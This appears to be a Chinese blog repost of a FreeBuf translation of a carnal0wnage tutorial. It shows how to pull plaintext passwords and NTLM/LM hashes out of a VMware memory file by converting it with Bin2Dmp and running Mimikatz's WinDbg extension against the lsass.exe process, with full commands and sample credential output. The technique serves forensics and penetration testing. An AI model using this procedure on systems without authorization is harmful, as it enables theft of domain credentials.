最新消息:

利用Mimikats提取虚拟机内存中的密码

教程 yan 40浏览 0评论
(adsbygoogle = window.adsbygoogle || []).push({});

前言:

这篇文章来自于国外的carnal0wnage,具体是通过利用windbg载入Mimikatz读取虚拟机内存文件(vmem/vmsn文件),从而获取到其中的密码。之前也有人单独介绍过Mimikatz和metasploit的Mimikatz模块,这次我们主要说一下windbg是怎样使用Mimikatz进行内存取证的。下面我们来看一下carnal0wnage是怎样做的。

题外话:

为了让大家看的更明白,这里我们先简单说一下Mimikatz:该神器出自法国大神Benjamin Delpy之手,可以直接获取到大多数windows平台下的明文密码,相比于其他工具,最大的特点是速度极快,无需等待。关于神器用法之前FreeBuf有人介绍过了,大家可以戳这里:http://www.freebuf.com/tools/37162.html
原理是从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算,这一点原作者已经给出了说明:
利用Mimikats提取虚拟机内存中的密码

下载地址在这里:http://blog.gentilkiwi.com/mimikatz

废话不多说,现在我们看下carnal0wnage是如何做的:

(前面的我就不写了,大约是carnal0wnage的一些个人感慨。。我个人对别人的私生活私感想没兴趣=。=)

当在vCenter/ESXi系统上做这些研究时,我先贴出一些关于这个问题的一些博客文章:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

当然,在做这些之前,你需要一些工具:

Windows调试工具(windbg,研究的主要角色)

http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

Windows内存内核工具

http://www.moonsols.com/windows-memory-toolkit/

最新版本的mimikatz已经支持windbg的调用:

https://github.com/gentilkiwi/mimikatz

 

下面我们开始:
#1 从虚拟主机中拷贝出虚拟内存文件(vmem/vmsn)
#2 使用moonsols的bin2dmp将内存文件转换为dmp格式文件(这里我用的是之前的付过费的pro版)

  C:/Users/user/Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp    bin2dmp - v2.1.0.20140115    Convert raw memory dump images into Microsoft crash dump files.    Copyright (C) 2007 - 2014, Matthieu Suiche     Copyright (C) 2012 - 2014, MoonSols Limited   Initializing memory descriptors... Done.  Directory Table Base is 0x124000  Looking for Kernel Base...  Looking for kernel variables... Done.  Loading file... Done.  nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0  stuff happens      [0x0000000040000000 of 0x0000000040000000]    [0x000000001DAFE000 of 0x000000     MD5 = E8C2F318FA528285281C21B3141E7C51  Total time for the conversion: 0 minutes 14 seconds.  

到这,你应该可以获取到一个dmp文件了,我们可以进行下一步工作了。
#3 在windbg中载入dmp文件,下面是图片:
利用Mimikats提取虚拟机内存中的密码
利用Mimikats提取虚拟机内存中的密码
注意:我们要先在windbg控制台中运行.symfix,然后执行.reload

  kd> .symfix  kd> .reload  Loading Kernel Symbols  ...............................................................  ................................................................  .....  Loading User Symbols  Loading unloaded module list  ....  

#4 windbg中载入mimilib模块

  kd> .load C:/users/user/desktop/mimilib.dll    .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)   .## ^ ##.  Windows build 6002   ## / / ##  /* * *   ## / / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )   '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)    '#####'                                  WinDBG extension ! * * */  ===================================  #         * Kernel mode *         #  ===================================  # Search for LSASS process  0: kd> !process 0 0 lsass.exe  # Then switch to its context  0: kd> .process /r /p   # And finally :  0: kd> !mimikatz  ===================================  #          * User mode *          #  ===================================  0:000> !mimikatz  ===================================  

#5 查找lsass进程

  kd> !process 0 0 lsass.exe  PROCESS fffffa800dba26d0      SessionId: 0  Cid: 023c    Peb: 7fffffd4000  ParentCid: 01e4      DirBase: 2e89f000  ObjectTable: fffff880056562c0  HandleCount: 1092.      Image: lsass.exe  

#6 将镜像lsass环境转换到本机中

  kd> .process /r /p fffffa800dba26d0  Implicit process is now fffffa80`0dba26d0  Loading User Symbols  ................................................................  ......................  

#7 载入mimikatz

  kd> !mimikatz  Authentication Id : 0 ; 996 (00000000:000003e4)  Session           : Service from 0  User Name         : WIN-3C4WXGGN8QE$  Domain            : UNLUCKYCOMPANY  SID               : S-1-5-20   msv :    [00000002] Primary    * Username : WIN-3C4WXGGN8QE$    * Domain   : UNLUCKYCOMPANY    * NTLM     : ea2ed0b14406a168791adf5aee78fd0b    * SHA1     : ab7bd2f6a64cf857c9d69dd65916622e3dc25424   tspkg : KO  ---SNIP---  Authentication Id : 0 ; 173319 (00000000:0002a507)  Session           : Interactive from 1  User Name         : Administrator  Domain            : UNLUCKYCOMPANY  SID               : S-1-5-21-2086621178-2413078777-1398328459-500   msv :    [00000002] Primary    * Username : Administrator    * Domain   : UNLUCKYCOMPANY    * LM       : e52cac67419a9a2238f10713b629b565    * NTLM     : 64f12cddaa88057e06a81b54e73b949b    * SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8   tspkg :    * Username : Administrator    * Domain   : UNLUCKYCOMPANY    * Password : Password1   wdigest :    * Username : Administrator    * Domain   : UNLUCKYCOMPANY    * Password : Password1   kerberos :    * Username : Administrator    * Domain   : UNLUCKYCOMPANY.NET    * Password : Password1    * Key List  ---SNIP---  

Okay,这样我们就获取到了内存中的密码,明文的。
[参考来源carnal0wnage’s blog略有删减。文/FreeBuf小编 xia0k 转载请注明来自FreeBuf.COM]

转载请注明:E644 » 利用Mimikats提取虚拟机内存中的密码

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址